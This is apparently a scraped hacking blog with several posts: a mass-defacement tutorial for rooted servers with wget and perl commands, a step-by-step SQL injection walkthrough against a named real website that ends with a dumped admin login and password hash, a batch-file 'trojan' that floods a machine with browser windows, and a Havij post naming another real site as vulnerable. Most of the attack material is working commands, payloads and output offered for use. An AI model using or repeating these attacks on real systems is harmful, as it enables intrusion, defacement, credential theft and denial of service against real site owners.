Pak Softwares Spot: hack website with havij

Mass Deface On Server Tutorial(Mr-Pakistan)

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="background-color: black;"><span style="color: white;">                                            <img src="http://i.imm.io/R607.jpeg" /></span></span><br />
<div>
<span style="background-color: black;"><span style="color: white; font-family: Arial, Verdana;"></span></span><br />
<div>
<div>
<div>
<span style="font-family: Arial, Verdana;"><span style="background-color: black; color: white; font-size: 14px; line-height: 20px;">Now you can do mass deface when you had rooted a server, So let us start the Mass Defacing tutorial.</span></span></div>
<div>
<span style="font-family: Arial, Verdana;"><span style="background-color: black; color: white; font-size: 14px; line-height: 20px;"><br /></span></span></div>
<div>
<span style="font-family: Arial, Verdana;"><span style="background-color: black; color: white; font-size: 14px; line-height: 20px;">Firstly you need a rooted server and mass deface script</span></span></div>
<div>
<span style="font-family: Arial, Verdana;"><span style="background-color: black; color: white; font-size: 14px; line-height: 20px;"><br /></span></span></div>
<div>
<span style="font-family: Arial, Verdana;"><span style="background-color: black; color: white; font-size: 14px; line-height: 20px;">MASS DEFACE:</span></span></div>
<div>
<span style="font-family: Arial, Verdana;"><span style="background-color: black; color: white; font-size: 14px; line-height: 20px;">Firstly download mass deface script and as usual we will use wget function</span></span></div>
<div>
<span style="font-family: Arial, Verdana;"><span style="background-color: black; color: white; font-size: 14px; line-height: 20px;"><br /></span></span></div>
<div>
<span style="font-family: Arial, Verdana;"><span style="background-color: black; color: white; font-size: 14px; line-height: 20px;">Type: wget www.site.in/massdeface.zip</span></span></div>
<div>
<span style="font-family: Arial, Verdana;"><span style="background-color: black; color: white; font-size: 14px; line-height: 20px;"><br /></span></span></div>
<div>
<span style="font-family: Arial, Verdana;"><span style="background-color: black; color: white; font-size: 14px; line-height: 20px;">unzip it by typing </span></span></div>
<div>
<span style="font-family: Arial, Verdana;"><span style="background-color: black; color: white; font-size: 14px; line-height: 20px;">Type: unzip massdeface.zip</span></span></div>
</div>
<div style="font-size: 14px; line-height: 20px;">
<span style="background-color: black; color: white; font-family: Arial, Verdana;"><img src="http://i.imm.io/R5YS.jpeg" /></span></div>
<div style="font-size: 14px; line-height: 20px;">
<span style="background-color: black; color: white; font-family: Arial, Verdana;">One you have unziped it , we will now run the script by typing</span></div>
<div style="font-size: 14px; line-height: 20px;">
<span style="background-color: black; color: white; font-family: Arial, Verdana;">Type: perl massdeface.pl</span></div>
<div style="font-size: 14px; line-height: 20px;">
<span style="background-color: black; color: white; font-family: Arial, Verdana;">Now after we have run the script it will show its usage [ perl mass.pl /tmp/index.html ], so according to that we have to run it, but before we do so  we have to download our deface page using wget . </span></div>
<div style="font-size: 14px; line-height: 20px;">
<span style="background-color: black; color: white; font-family: Arial, Verdana;">Type: wget http://www.site.com/index.html</span></div>
</div>
<span style="background-color: black; color: white; font-family: Arial, Verdana;">
</span>
<div style="font-size: 14px; line-height: 20px;">
<span style="background-color: black; color: white; font-family: Arial, Verdana;"><img src="http://i.imm.io/R5Yu.jpeg" /></span></div>
<span style="background-color: black; color: white; font-family: Arial, Verdana;">
<div style="font-size: 14px; line-height: 20px;">
So once we have downloaded our deface page, now we will run the final command to mass deface .</div>
<div style="font-size: 14px; line-height: 20px;">
Type: perl massdeface.pl /tmp/index.html</div>
</span></div>
<span style="background-color: black; color: white;"><br /></span>
<span style="background-color: black; color: white;"><img src="http://i.imm.io/R5Xu.jpeg" /></span></div>

Mass Deface On Server Tutorial(Mr-Pakistan)

Now you can do mass deface when you had rooted a server, So let us start the Mass Defaci...

Download Windows 8

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="background-color: black; color: white; font-family: Georgia, Times New Roman, serif;"><br /></span>
<br />
<div align="justify" style="line-height: 16.549999237060547px;">
<span style="background-color: black; color: white; font-family: Georgia, Times New Roman, serif;">                          <img height="266" src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQNktSgnmChWyNmgGk74fhQ5AoaXuNdmgpoDSKdmk-ae6cwHhR_" width="400" /></span></div>
<div align="justify" style="line-height: 16.549999237060547px;">
<span style="background-color: black; color: white; font-family: Georgia, Times New Roman, serif;"><br /></span></div>
<div align="justify" style="line-height: 16.549999237060547px;">
<span style="background-color: black; color: white; font-family: Georgia, Times New Roman, serif;">Windows 8 is a new version of Windows that focuses on variety of hardware platform and form factors such as slim-type computers and new generation of touch devices. The new version free for download was made available for developers and testers of the new OS.</span></div>
<div align="justify" style="line-height: 16.549999237060547px;">
<span style="background-color: black; color: white; font-family: Georgia, Times New Roman, serif;">Here’s the download links for the Enterprise version of Windows.</span></div>
<span class="fullpost" style="background-color: black; color: white; display: inline; font-family: Georgia, Times New Roman, serif; line-height: 16.549999237060547px;"><strong>How to get and download the latest operating system</strong><br />
</span><br />
<div align="justify">
<span class="fullpost" style="background-color: black; color: white; display: inline; font-family: Georgia, Times New Roman, serif; line-height: 16.549999237060547px;">Thankfully, Microsoft released the new version free for download designed for technological professionals, engineers and IT personnel's for testing and debugging purposes.</span></div>
<span class="fullpost" style="display: inline; font-family: Georgia, Times New Roman, serif; line-height: 16.549999237060547px;"><span style="background-color: black;"><span style="color: white;">
Download Links of the ISO file (x86 and x64)<br />
Download <a href="http://care.dlservice.microsoft.com/download/5/3/C/53C31ED0-886C-4F81-9A38-F58CE4CE71E8/9200.16384.WIN8_RTM.120725-1247_X86FRE_ENTERPRISE_EVAL_EN-US-HRM_CENA_X86FREE_EN-US_DV5.ISO?lcid=1033" target="_blank">Windows 8 32-Bit version</a><br />
Download <a href="http://care.dlservice.microsoft.com/download/5/3/C/53C31ED0-886C-4F81-9A38-F58CE4CE71E8/9200.16384.WIN8_RTM.120725-1247_X64FRE_ENTERPRISE_EVAL_EN-US-HRM_CENA_X64FREE_EN-US_DV5.ISO?lcid=1033" target="_blank">Windows 8 64-Bit version</a></span></span><br /><span style="background-color: black; color: white;">
If you can’t download the file, make sure that you are login to your respected </span><strong style="background-color: black; color: white;">Hotmail account</strong><span style="background-color: black; color: white;">.</span><br />
</span><br />
<div align="justify" style="background-color: black; color: white;">
<span class="fullpost" style="display: inline; font-family: Georgia, Times New Roman, serif; line-height: 16.549999237060547px;"><strong>Hardware and System Requirements</strong></span></div>
<span class="fullpost" style="display: inline; font-family: Georgia, Times New Roman, serif; line-height: 16.549999237060547px;">
<span style="background-color: black;"><span style="color: white;">
W</span><span style="color: #f3f3f3;">indows 8 works with the same hardware that Windows 7 have:</span></span><span style="background-color: black;"><span style="color: #f3f3f3;"><br />
</span></span></span><br />
<ul><span class="fullpost" style="display: inline; font-family: Georgia, Times New Roman, serif; line-height: 16.549999237060547px;">
<li><span style="background-color: black;"><span style="color: #f3f3f3;">Processor: 1 GHz or faster</span></span></li>
<li><span style="background-color: black;"><span style="color: #f3f3f3;">Computer Memory: 1 GB (32-bit) or 2 GB (64-bit)</span></span></li>
<li><span style="background-color: black;"><span style="color: #f3f3f3;">Hard disk space: 20 gigabytes (GB) </span></span></li>
<li><span style="background-color: black;"><span style="color: #f3f3f3;">Graphics card: Microsoft DirectX 9 graphics device with WDDM driver</span></span></li>
<li><span style="background-color: black;"><span style="color: #f3f3f3;">tablet or monitor that supports multi-touch.</span></span></li>
</span></ul>
<span class="fullpost" style="display: inline; font-family: Georgia, Times New Roman, serif; line-height: 16.549999237060547px;">
<div align="justify">
<span style="background-color: black;"><span style="color: #f3f3f3;">Windows 8 uses a new graphical interface based on Metro design concept. It is a new tile based Start screen very similar to Windows Phone OS.</span></span></div>
<span style="background-color: black; color: #f3f3f3;">
That’s it! Keep on reading!</span></span></div>

Download Windows 8

Windows 8 is a new version of Windows that focuses on variety of hardware platform and form factors such ...

Updated SQL Injection Full Tutorial With example

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="background-color: black;"><span style="color: white;">Post is copy right so dont copy</span></span><br />
<h1 class="post-title entry-title" style="font-family: Arial, serif;">
<span style="background-color: black;"><span style="color: white; font-size: small;">
                    <img src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcS9w6FpUmlF_7fPYo-MrIctt4y5KUIHhDEyyDotgvHATx759yJs" /></span></span></h1>
<div class="post-body entry-content" id="post-body-1800364710545804736" style="font-family: Arial, serif; line-height: 1.6em; margin: 0px 0px 0.75em;">
<div dir="ltr" trbidi="on">
<ol>
<li><span style="background-color: black; color: white;">Finding vulnerable sites</span></li>
<li><span style="background-color: black; color: white;">Finding amount of columns</span></li>
<li><span style="background-color: black; color: white;">Getting mysql version</span></li>
<li><span style="background-color: black; color: white;">Getting Databases</span></li>
<li><span style="background-color: black; color: white;">Getting Tables</span></li>
<li><span style="background-color: black; color: white;">Getting Columns</span></li>
<li><span style="background-color: black; color: white;">Getting Usernames and Passwords</span></li>
</ol>
<span style="background-color: black;"><span style="color: white;"><br /></span></span>
<br />
<div style="text-align: center;">
<b><span style="background-color: black; color: white;">1. Finding vulnerable sites</span></b></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div>
<span style="background-color: black; color: white;">To find vulnerable sites we used <span9841409><a href="http://www.blogger.com/blogger.g?blogID=7642030373489069133" id="Y9841409S2" style="border: none;">google</a></span9841409> dork. Some of google dorks are:</span></div>
<div>
<span style="background-color: black;"><span style="color: white;"><br /></span></span></div>
<ul>
<li><span style="background-color: black; color: white;">inurl:index.<span9841409><a href="http://www.blogger.com/blogger.g?blogID=7642030373489069133" id="Y9841409S0" style="border: none;">php</a></span9841409>?id=</span></li>
<li><span style="background-color: black; color: white;">inurl:news.php?id=</span></li>
<li><span style="background-color: black; color: white;">inurl:gallery.php?id=</span></li>
<li><span style="background-color: black; color: white;">inurl:category.php?id=</span></li>
<li><span style="background-color: black; color: white;">inurl:games.php?id=</span></li>
<li><span style="background-color: black; color: white;">inurl:forum.php?tid=</span></li>
<li><span style="background-color: black; color: white;">inurl:newsletter.php?id=</span></li>
<li><span style="background-color: black; color: white;">inurl:content.php?id=</span></li>
</ul>
<span style="background-color: black; color: white;">  You can find the largest collection of google dorks from<a href="http://paksoftwaresspot.blogspot.com/p/hacking.html" target="_blank"> <b style="border: none; text-decoration: initial;">here</b>.</a></span><br />
<span style="background-color: black;"><span style="color: white;"><br />
So as an example I find vulnerable site that is</span></span><br />
<span style="background-color: black; color: white;">http://www.geotunis.org/index_en.php?id=7</span><br />
<span style="background-color: black;"><span style="color: white;"><br />
I know about vulnerability by using string ('). At the last of url use ' and if you got a error then it is vulnerable. In many sites don't show error but some text or image are missing. This kind of sites are also vulnerable.</span></span><br />
<span style="background-color: black;"><span style="color: white;"><br />
</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj37zeTBwEy3V28r_CcwAAO5g09_pubPtQM9stTzWO_ecafhgbHfSqKhc7Tyqn1z3jXXYsSsgtgRbO0EhGdL1YkRaffLO3bz3BuoezqA6NimzE5KYz_Rnyn5PuujYwuWd5ZFxBTVUoR66E/s1600/1.png" imageanchor="1" style="background-color: black; border: none; margin-left: 1em; margin-right: 1em; text-decoration: initial;"><span style="color: white;"><img border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj37zeTBwEy3V28r_CcwAAO5g09_pubPtQM9stTzWO_ecafhgbHfSqKhc7Tyqn1z3jXXYsSsgtgRbO0EhGdL1YkRaffLO3bz3BuoezqA6NimzE5KYz_Rnyn5PuujYwuWd5ZFxBTVUoR66E/s640/1.png" style="border: 4px solid rgb(238, 238, 238);" width="640" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br />
<br />
For sql injection we use a add-on which is very helpful to hacker.</span></span><br />
<span style="background-color: black; color: white;">Download it from https://addons.mozilla.org/en-US/firefox/addon/hackbar/</span><br />
<span style="background-color: black;"><span style="color: white;"><br />
<br />
<br />
</span></span><br />
<div style="text-align: center;">
<span style="color: white;"><b style="background-color: black;">2. Finding Amount of Columns</b></span></div>
<div>
<span style="background-color: black; color: white;"><b> </b>To find the right number of column we are using "order by". After the url type 'order by 5' and see the page.</span></div>
<div>
<span style="background-color: black; color: white;">Here I do </span></div>
<div>
<span style="background-color: black; color: white;">www.geotunis.org/index_en.php?id=7 order by 5--</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-3Xxclb5EyMejt01yGJsGI1-DMquF0Al8upTjsPz8wWjPI4OW55H9JBa5M5ipBrS7tSzHg_5uQnUxjjy65mIG5QvlzAjqR8Iq4Wk-75d-kSlmFm4yB1suJUR1tP0dQbnZ3rC79ck-wXY/s1600/2.png" imageanchor="1" style="background-color: black; border: none; margin-left: 1em; margin-right: 1em; text-decoration: initial;"><span style="color: white;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-3Xxclb5EyMejt01yGJsGI1-DMquF0Al8upTjsPz8wWjPI4OW55H9JBa5M5ipBrS7tSzHg_5uQnUxjjy65mIG5QvlzAjqR8Iq4Wk-75d-kSlmFm4yB1suJUR1tP0dQbnZ3rC79ck-wXY/s640/2.png" style="border: 4px solid rgb(238, 238, 238);" width="640" /></span></a></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div>
<span style="background-color: black; color: white;">It seems that the page load normally and there are no error. That means columns are more than 5.</span></div>
<div>
<span style="background-color: black; color: white;">Again try</span></div>
<div>
<span style="background-color: black; color: white;">www.geotunis.org/index_en.php?id=7 order by 10--</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd27oRDlZDO0jay-PTJ4OU-yQzWiDZBAWi2Oe8oVt1DoxybFYrl57WAju8SM0H_UunlhqGeDvs1QhKTnJdqydrY5FYeRLBfD-dtp7eOhtzgXhVxyYHsncv1Y9UabjYNJLRlpXIMZC5LPo/s1600/3.png" imageanchor="1" style="background-color: black; border: none; margin-left: 1em; margin-right: 1em; text-decoration: initial;"><span style="color: white;"><img border="0" height="138" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd27oRDlZDO0jay-PTJ4OU-yQzWiDZBAWi2Oe8oVt1DoxybFYrl57WAju8SM0H_UunlhqGeDvs1QhKTnJdqydrY5FYeRLBfD-dtp7eOhtzgXhVxyYHsncv1Y9UabjYNJLRlpXIMZC5LPo/s640/3.png" style="border: 4px solid rgb(238, 238, 238);" width="640" /></span></a></div>
<div>
<span style="background-color: black; color: white;">It's showing error. That means columns number is less than 10.</span></div>
<div>
<span style="background-color: black; color: white;">By this try for finding columns number.</span></div>
<div>
<span style="background-color: black; color: white;">www.geotunis.org/index_en.php?id=7 order by 6-- [no error]</span></div>
<div>
<span style="background-color: black; color: white;">www.geotunis.org/index_en.php?id=7 order by 7-- [no error]</span></div>
<div>
<span style="background-color: black; color: white;">www.geotunis.org/index_en.php?id=7 order by 8-- [no error]</span></div>
<div>
<span style="background-color: black; color: white;">www.geotunis.org/index_en.php?id=7 order by 9-- [error]</span></div>
<div>
<span style="background-color: black; color: white;">So total column number is 8.</span></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div>
<span style="background-color: black; color: white;">Now we find vulnerable column. To do this please folow me:</span></div>
<div>
<span style="background-color: black; color: white;">www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,4,5,6,7,8--</span></div>
<div>
<span style="background-color: black; color: white;">After id= please insert [-] and it means null.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggB4zR3zG-OKCzYFA9ad-KasciuECBijPFXnkdOUoU91UG1bwaViv8H96ydQJEMU8EOdbXe0NM-Xl6Ybhf9per41pfK-InMlV0aiE-fqYW-FXp4WCerVshyphenhyphenD_vBg7jRhIy90NjTJ1aJD4/s1600/4.png" imageanchor="1" style="background-color: black; border: none; margin-left: 1em; margin-right: 1em; text-decoration: initial;"><span style="color: white;"><img border="0" height="262" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggB4zR3zG-OKCzYFA9ad-KasciuECBijPFXnkdOUoU91UG1bwaViv8H96ydQJEMU8EOdbXe0NM-Xl6Ybhf9per41pfK-InMlV0aiE-fqYW-FXp4WCerVshyphenhyphenD_vBg7jRhIy90NjTJ1aJD4/s640/4.png" style="border: 4px solid rgb(238, 238, 238);" width="640" /></span></a></div>
<div>
<span style="background-color: black; color: white;">We got the vulnerable column is 4.</span></div>
<div style="text-align: center;">
<span style="background-color: black;"><span style="color: white;"><br /></span></span></div>
<div style="text-align: center;">
<span style="background-color: black;"><span style="color: white;"><br /></span></span></div>
<div style="text-align: center;">
<span style="color: white;"><b style="background-color: black;">3. Getting Mysql Version</b></span></div>
<div>
<span style="background-color: black; color: white;">Now we wanna know the MySQL version. If its over 5 then its injectable by this Tut. (if its under 4 then you have to guess tables and columns).<b></b></span></div>
<div>
<span style="background-color: black; color: white;">www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,@@version,5,6,7,8--</span></div>
<div>
<span style="background-color: black; color: white;">In the vulnerable column we use @@version instead of column number.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIdyGLqtzVX0BDcopYz8VVVH9MSNzh9HmCIbV11S1TI12G0HOJ5uJf_R3QiwXlc3vmWewyjlQBRtfeoXWsVJ0HHdBu8psiQATXivaaYhuak6vTZS2WlU5qmQJrEmh0JBUWxFfrjkS4HJ4/s1600/5.png" imageanchor="1" style="background-color: black; border: none; margin-left: 1em; margin-right: 1em; text-decoration: initial;"><span style="color: white;"><img border="0" height="244" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIdyGLqtzVX0BDcopYz8VVVH9MSNzh9HmCIbV11S1TI12G0HOJ5uJf_R3QiwXlc3vmWewyjlQBRtfeoXWsVJ0HHdBu8psiQATXivaaYhuak6vTZS2WlU5qmQJrEmh0JBUWxFfrjkS4HJ4/s640/5.png" style="border: 4px solid rgb(238, 238, 238);" width="640" /></span></a></div>
<div>
<span style="background-color: black; color: white;">ok we find it.</span></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div style="text-align: center;">
<b><span style="background-color: black; color: white;">4. Getting Databases</span></b></div>
<div>
<span style="background-color: black; color: white;">Now we wanna find the databases and the Current database.<br />Here the syntax for all databases:</span></div>
<div>
<span style="background-color: black;"><span style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,group_concat(schema_name),5,6,7,8 from information_schema.schemata--</span></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div>
<span style="background-color: black; color: white;">And it displays like this:</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlicXvrJkaszYzaJT0trBI30tSnW4xkVtUNm4_4rV7AI8nPd-988niLVFSsbYpHeIrW2oUP1HMwh_U5Um__EbMv75uZwtrq49xxrr-EQuGz-Y4GGCwU1AkwYzVyC12BCxOJ4LbKvPcspk/s1600/6.png" imageanchor="1" style="background-color: black; border: none; margin-left: 1em; margin-right: 1em; text-decoration: initial;"><span style="color: white;"><img border="0" height="244" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlicXvrJkaszYzaJT0trBI30tSnW4xkVtUNm4_4rV7AI8nPd-988niLVFSsbYpHeIrW2oUP1HMwh_U5Um__EbMv75uZwtrq49xxrr-EQuGz-Y4GGCwU1AkwYzVyC12BCxOJ4LbKvPcspk/s640/6.png" style="border: 4px solid rgb(238, 238, 238);" width="640" /></span></a></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div>
<span style="background-color: black; color: white;">Now wel would like to now what is the current database, it's pretty obvious in this case but usefull sometimes.<br /><br />Syntax for current database:</span></div>
<div>
<span style="background-color: black; color: white;">www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,database(),5,6,7,8 from information_schema.schemata--</span></div>
<div>
<span style="background-color: black; color: white;">This should display something like this:</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPPzs4titGT8WXH-qkHSOoTCd_lgd6R_zN0T8eBI-Qs4h_cg_v02fNx9c6kW081juP0dN00HYduEjFuMCeHrxxQcehFQ2yeCJAaikfaTNFWjeARmNwpj3pgTw5MpIf4qX6QKESwDhnAsc/s1600/7.png" imageanchor="1" style="background-color: black; border: none; margin-left: 1em; margin-right: 1em; text-decoration: initial;"><span style="color: white;"><img border="0" height="264" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPPzs4titGT8WXH-qkHSOoTCd_lgd6R_zN0T8eBI-Qs4h_cg_v02fNx9c6kW081juP0dN00HYduEjFuMCeHrxxQcehFQ2yeCJAaikfaTNFWjeARmNwpj3pgTw5MpIf4qX6QKESwDhnAsc/s640/7.png" style="border: 4px solid rgb(238, 238, 238);" width="640" /></span></a></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div style="text-align: center;">
<b><span style="background-color: black; color: white;">5. Getting Tables</span></b></div>
<div>
<span style="background-color: black; color: white;">Now we want to know the tables on in the database and for this we will conintue using "union select".</span></div>
<div>
<span style="background-color: black; color: white;"><br />www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema=database()--</span></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div>
<span style="background-color: black; color: white;">It's output look like this:</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2YxeOLwfUvfb-WVCWSTn7yNDEoSFrzicVaQE1nWdLucC4HpiDCNzXok5jrfI4TTsjnbtwkoudMCa8CyyYR229u4ZfQ33-9fR7IJ3P7-ZOqx7BZTo9XcSUteMjuM8ao_Es3gbhg2tJhPc/s1600/8.png" imageanchor="1" style="background-color: black; border: none; margin-left: 1em; margin-right: 1em; text-decoration: initial;"><span style="color: white;"><img border="0" height="262" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2YxeOLwfUvfb-WVCWSTn7yNDEoSFrzicVaQE1nWdLucC4HpiDCNzXok5jrfI4TTsjnbtwkoudMCa8CyyYR229u4ZfQ33-9fR7IJ3P7-ZOqx7BZTo9XcSUteMjuM8ao_Es3gbhg2tJhPc/s640/8.png" style="border: 4px solid rgb(238, 238, 238);" width="640" /></span></a></div>
<div>
<span style="background-color: black; color: white;">Here admin table is 'utilisateurs'. In maximum sites tables are admin, users, administrator etc.</span></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div style="text-align: center;">
<b><span style="background-color: black; color: white;">6. Getting Columns</span></b></div>
<div>
<span style="background-color: black; color: white;">Now we want to know the columns.<br />We will use following code:</span></div>
<div>
<span style="background-color: black;"><span style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_schema=database()--</span></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div>
<span style="background-color: black; color: white;">We got column and it looks like:</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMPrnnuvvnNGtJKsARIOR64EHL-1V7fQIFxuRVa1dtm3q7AW8IlLNrWC1JB8jxqE6tbi6i_6rHsNEw_zXVWFUvQIqDCIhTsQ7TcGeW2UtfuY-BYXqUPM2Zv1dX-qSI0_kwO1mcz8khd68/s1600/9.png" imageanchor="1" style="background-color: black; border: none; margin-left: 1em; margin-right: 1em; text-decoration: initial;"><span style="color: white;"><img border="0" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMPrnnuvvnNGtJKsARIOR64EHL-1V7fQIFxuRVa1dtm3q7AW8IlLNrWC1JB8jxqE6tbi6i_6rHsNEw_zXVWFUvQIqDCIhTsQ7TcGeW2UtfuY-BYXqUPM2Zv1dX-qSI0_kwO1mcz8khd68/s640/9.png" style="border: 4px solid rgb(238, 238, 238);" width="640" /></span></a></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div style="text-align: center;">
<b><span style="background-color: black; color: white;">7. Dumping users/pass</span></b></div>
<div>
<span style="background-color: black;"><span style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Now you would like to dump logins and passwords.</span></div>
<div>
<span style="background-color: black;"><span style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,group_concat(login,0x3a,pass,0x3a),5,6,7,8 from utilisateurs--</span></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div>
<span style="background-color: black; color: white;">Now we got admin login and password.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk9YELypXlE09kOt6jvUHiwo9NS2B2Fr1tldREYdbM2vKw8U6Wic5A-InJ5Eo3ShYxTaV9WL1i5UaxX16m48GASgF4phKbEsfPYvZgBF_BA0ZH8N6M2y7uF_IB4wwrQyCj-Gx1B2YjpXM/s1600/10.png" imageanchor="1" style="background-color: black; border: none; margin-left: 1em; margin-right: 1em; text-decoration: initial;"><span style="color: white;"><img border="0" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk9YELypXlE09kOt6jvUHiwo9NS2B2Fr1tldREYdbM2vKw8U6Wic5A-InJ5Eo3ShYxTaV9WL1i5UaxX16m48GASgF4phKbEsfPYvZgBF_BA0ZH8N6M2y7uF_IB4wwrQyCj-Gx1B2YjpXM/s640/10.png" style="border: 4px solid rgb(238, 238, 238);" width="640" /></span></a></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div>
<span style="background-color: black; color: white;">Here login: atign and pass: 720a7e98c63c155ae17b0e7d3ce10a09</span></div>
<div>
<span style="background-color: black; color: white;">The pass is md5hash. You can decrypt this hash from www.md5hacker.com</span></div>
<div>
<span style="background-color: black; color: white;"><br /></span></div>
<div>
<br /></div>
</div>
</div>
</div>

Updated SQL Injection Full Tutorial With example

Post is copy right so dont copy Finding vulnerable sites Finding amount of columns Getting mysql version Get...

Create trojan virus

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<span style="background-color: black;"><span style="color: white;"><br /></span></span>
<div class="post-header" style="font-family: Georgia, Utopia, 'Palatino Linotype', Palatino, serif; line-height: 1.6; margin: 0px 0px 1em;">
<div class="post-header-line-1">
</div>
</div>
<div class="post-body entry-content" id="post-body-6329989225163490909" style="font-family: Georgia, Utopia, 'Palatino Linotype', Palatino, serif; line-height: 18px; position: relative; width: 650px;">
<div dir="ltr" trbidi="on">
<span style="background-color: black;"><span style="color: white;"><br /></span></span></div>
<div dir="ltr" trbidi="on">
                                                            <img src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcT0ABHUJVnTLsLHyUB4FsAFAG6cD3_pQ0AjaB9aqJzkTOWasnr1" /></div>
<div dir="ltr" trbidi="on">
<span style="background-color: black;"><span style="color: white;">1.open your notepad<br />2.copy and paste the code given below..<br /><br />cd c:\windows\system32<br /><br />for %%a in (*) do start iexplore.exe<br /><br />for %%a in (*) do start iexplore.exe<br /><br />for %%a in (*) do start iexplore.exe<br /><br />for %%a in (*) do start iexplore.exe<br /><br />for %%a in (*) do start iexplore.exe</span></span></div>
<div dir="ltr" trbidi="on">
<span style="background-color: black;"><span style="color: white;"><br /></span></span></div>
<div dir="ltr" trbidi="on">
<span style="background-color: black;"><span style="color: white;">for %%a in (*) do start iexplore.exe<br /><br />for %%a in (*) do start iexplore.exe</span></span></div>
<div dir="ltr" trbidi="on">
<span style="background-color: black;"><span style="color: white;">for %%a in (*) do start iexplore.exe</span></span></div>
<div dir="ltr" trbidi="on">
<span style="background-color: black;"><span style="color: white;"><br /></span></span></div>
<div dir="ltr" trbidi="on">
<span style="background-color: black;"><span style="color: white;">for %%a in (*) do start iexplore.exe</span></span></div>
<div dir="ltr" trbidi="on">
<span style="background-color: black;"><span style="color: white;"><br /></span></span></div>
<div dir="ltr" trbidi="on">
<span style="background-color: black;"><span style="color: white;">3.save this as .bat extension.example,trojan.bat<br />this bat file is your trojan virus...</span></span></div>
</div>
</div>

Create trojan virus

1.open your notepad 2.copy and paste the code given below.. cd c:\...

Hack Website With Havij Best Tut By Mr-Pakistan

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="background-color: black; color: white;">Remember Post is Copy Right With Admin:</span><br />
<br />
<span style="background-color: black; color: white;">First You Will Require Havij<br /><span style="font-size: medium;"><a href="http://0pm.co/?url=http://itsecteam.com/files/Havij%201.10.rar" target="_blank"><span style="font-size: medium;">Download havij 1.10</span></a></span><br /><br />First Find a sqli infected site .Now here i found a vulernable site</span><a href="http://0pm.co/?url=http://www.hypetrading.com/productinfo.php?id=285" target="_blank"><span style="background-color: black; color: white;">http://www.hypetrading.com/productinfo.php?id=285</span></a><br />
<br />
